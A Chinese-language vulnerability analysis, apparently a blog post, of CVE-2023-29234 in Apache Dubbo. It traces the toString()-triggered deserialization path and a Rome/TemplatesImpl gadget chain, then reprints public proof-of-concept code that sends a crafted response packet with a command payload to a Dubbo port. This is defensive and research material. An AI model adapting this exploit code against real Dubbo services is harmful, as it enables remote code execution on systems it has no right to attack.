漏洞概述
Apache Dubbo 是阿里巴巴公司开源的一种高性能、轻量级的开源分布式服务框架,使得开发者能够更容易地构建可扩展、高性能的分布式系统。
2023年12月15日,Apache 官方发布安全通告,披露了其 Dubbo 存在反序列化漏洞(CVE-2023-29234),该漏洞源于Dubbo在处理传入的序列化数据包时没有对其恶意代码进行过滤,攻击者可以通过向 Dubbo 服务发送特制的序列化对象来利用此漏洞。该问题受影响版本:Apache Dubbo 3.1.0-3.1.10,3.2.0-3.2.4。
漏洞分析
补丁查看
查看apache-dubbo的github:https://github.com/apache/dubbo/commit/9ae97ea053dad758a0346a9acda4fbc8ea01429a
源代码中因为使用了字符串拼接,在抛出异常时会直接打印obj对象,所以obj对象会自动调用其toString方法,从而导致恶意代码被执行。
利用点分析
在上述代码中,obj对象被用于构造一个IOException 的错误消息。Java中的字符串连接操作(+)会隐式地调用对象的 toString() 方法,将对象转换为字符串。因此,当obj对象被连接到字符串中时,其toString() 方法将被自动调用。
如果obj对象所在类有重写toString()则调用重写后的toString(),没有重写就调用父类Object的toString方法。
因此这里的漏洞利用思路就是将传入的Object类重新toString方法,并在重写的toString方法中插入恶意代码。
在调试时意外发现,到断点处会弹计算器
研究了一下原理:
- IDEA在debug程序时,当debug到某个对象时,会调用对象的toString()方法,用来在debug界面显示对象信息。
- IDEA调用toString()方法时,即使在toString()方法中设置了断点,该断点也不会被触发,也就是说,开发者多数情况下不会知道toString()方法被调用了
- 多数情况下调用一下toString()方法没有什么问题,但是也有例外,比如重写了toString()方法的类,随意的调用toString()方法会导致未知的问题。
IDEA在debug时调用toString()方法的情况是可以在配置中关掉的:
利用链分析
该漏洞的调用过程如下
根据类名进行回溯这里大致是要进入到Dubbo的解码器中,关键是要进入到DecodeableRpcResult#decode。
Dubbo在解码时会调用org.apache.dubbo.rpc.rotocol.dubbo.DubboCodec#decodeBody方法
protected Object decodeBody(Channel channel, InputStream is, byte[] header) throws IOException {
byte flag = header[2], proto = (byte) (flag & SERIALIZATION_MASK);
// get request id.
long id = Bytes.bytes2long(header, 4);
if ((flag & FLAG_REQUEST) == 0) {
// decode response.
Response res = new Response(id);
if ((flag & FLAG_EVENT) != 0) {
res.setEvent(true);
}
// get status.
byte status = header[3];
res.setStatus(status);
try {
if (status == Response.OK) {
Object data;
if (res.isEvent()) {
byte[] eventPayload = CodecSupport.getPayload(is);
if (CodecSupport.isHeartBeat(eventPayload, proto)) {
// heart beat response data is always null;
data = null;
} else {
ObjectInput in = CodecSupport.deserialize(channel.getUrl(), new ByteArrayInputStream(eventPayload), proto);
data = decodeEventData(channel, in, eventPayload);
}
} else {
DecodeableRpcResult result;
if (channel.getUrl().getParameter(DECODE_IN_IO_THREAD_KEY, DEFAULT_DECODE_IN_IO_THREAD)) {
result = new DecodeableRpcResult(channel, res, is,
(Invocation) getRequestData(id), proto);
result.decode();
} else {
result = new DecodeableRpcResult(channel, res,
new UnsafeByteArrayInputStream(readMessageData(is)),
(Invocation) getRequestData(id), proto);
}
data = result;
}
res.setResult(data);
} else {
ObjectInput in = CodecSupport.deserialize(channel.getUrl(), is, proto);
res.setErrorMessage(in.readUTF());
}
} catch (Throwable t) {
if (log.isWarnEnabled()) {
log.warn(PROTOCOL_FAILED_DECODE, "", "", "Decode response failed: " + t.getMessage(), t);
}
res.setStatus(Response.CLIENT_ERROR);
res.setErrorMessage(StringUtils.toString(t));
}
return res;
} else {
// decode request.
...
}
在上段代码中,当响应标志位被设置(FLAG_REQUEST==1时),会进入到decode response触发DecodeableRpcResult#decode方法调用。
在解码服务端响应报文时,先读取状态标志,然后根据状态标志判断后续的数据内容。响应结果首先会写一个字节标记位。因此,为了进入到handleException(),在构造响应体时,需要设置对应的状态标志。
1.处理标记位代表返回值为Null的场景。
2.代表正常返回,首先判断请求方法的返回值类型,返回值类型方便底层反序列化正确读取,将读取的值存在result字段中。
3.如果返回值包含泛型 ,则调用反序列化解析接口
4.处理服务端返回异常对象的场景, 同时会将结果保存在exception字段中。
5.处理返回值为Null,并且支持服务端请求额外参数透传给客户端,在客户端会继续读取保存在HashMap中的请求额外参数值。
public Object decode(Channel channel, InputStream input) throws IOException {
if (log.isDebugEnabled()) {
Thread thread = Thread.currentThread();
log.debug("Decoding in thread -- [" + thread.getName() + "#" + thread.getId() + "]");
}
// switch TCCL
if (invocation != null && invocation.getServiceModel() != null) {
Thread.currentThread().setContextClassLoader(invocation.getServiceModel().getClassLoader());
}
ObjectInput in = CodecSupport.getSerialization(channel.getUrl(), serializationType)
.deserialize(channel.getUrl(), input);
byte flag = in.readByte();
switch (flag) {
case DubboCodec.RESPONSE_NULL_VALUE:
break;
case DubboCodec.RESPONSE_VALUE:
handleValue(in);
break;
case DubboCodec.RESPONSE_WITH_EXCEPTION:
handleException(in);
break;
case DubboCodec.RESPONSE_NULL_VALUE_WITH_ATTACHMENTS:
handleAttachment(in);
break;
case DubboCodec.RESPONSE_VALUE_WITH_ATTACHMENTS:
handleValue(in);
handleAttachment(in);
break;
case DubboCodec.RESPONSE_WITH_EXCEPTION_WITH_ATTACHMENTS:
handleException(in);
handleAttachment(in);
break;
default:
throw new IOException("Unknown result flag, expect '0' '1' '2' '3' '4' '5', but received: " + flag);
}
if (in instanceof Cleanable) {
((Cleanable) in).cleanup();
}
return this;
}
gadget
有多种toString方法开始触发的的gadget,这里选择了ObjectBean.toString()作为toString方法开始触发的的gadget。
com.sun.syndication.feed.impl.ToStringBean是给对象提供toString方法的类, 类中有两个toString方法, 第一个是无参的方法, 获取调用链中上一个类或_obj属性中保存对象的类名, 并调用第二个toString方法. 在第二个toString方法中, 会调用BeanIntrospector#getPropertyDescriptors来获取_beanClass的所有getter和setter方法, 接着会根据参数使用_obj实例进行反射调用, 通过这个点可以用来触发 TemplatesImpl 的利用链。
调用链:
ObjectBean.toString()
ToStringBean.toString()
TemplatesImpl.getOutputProperties()
漏洞复现
Version:2.1.5
JDK:1.8.0_381
利用公开的Poc进行复现,测试POC的核心代码如下:
public static void main(String[] args) throws Exception {
ByteArrayOutputStream boos = new ByteArrayOutputStream();
ByteArrayOutputStream nativeJavaBoos = new ByteArrayOutputStream();
Serialization serialization = new NativeJavaSerialization();
NativeJavaObjectOutput out = new NativeJavaObjectOutput(nativeJavaBoos);
// header.
byte[] header = new byte[HEADER_LENGTH];
// set magic number.
Bytes.short2bytes(MAGIC, header);
// set request and serialization flag.
header[2] = serialization.getContentTypeId();
header[3] = Response.OK;
Bytes.long2bytes(1, header, 4);
// result
Object exp = getThrowablePayload("calc.exe"); // Rome toString 利用链
out.writeByte((byte) 0);
out.writeObject(exp);
out.flushBuffer();
Bytes.int2bytes(nativeJavaBoos.size(), header, 12);
boos.write(header);
boos.write(nativeJavaBoos.toByteArray());
byte[] responseData = boos.toByteArray();
Socket socket = new Socket("127.0.0.1", 20880);
OutputStream outputStream = socket.getOutputStream();
outputStream.write(responseData);
outputStream.flush();
outputStream.close();
}
protected static Object getThrowablePayload(String command) throws Exception {
Object o = Gadgets.createTemplatesImpl(command);
ObjectBean delegate = new ObjectBean(Templates.class, o);
return delegate;
}
修复建议
升级Apache Dubbo 至对应安全版本。
参考
https://github.com/RacerZ-fighting/DubboPOC/tree/1bdbf4927f8d43df80648db9f2784b2b851ea7a4
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)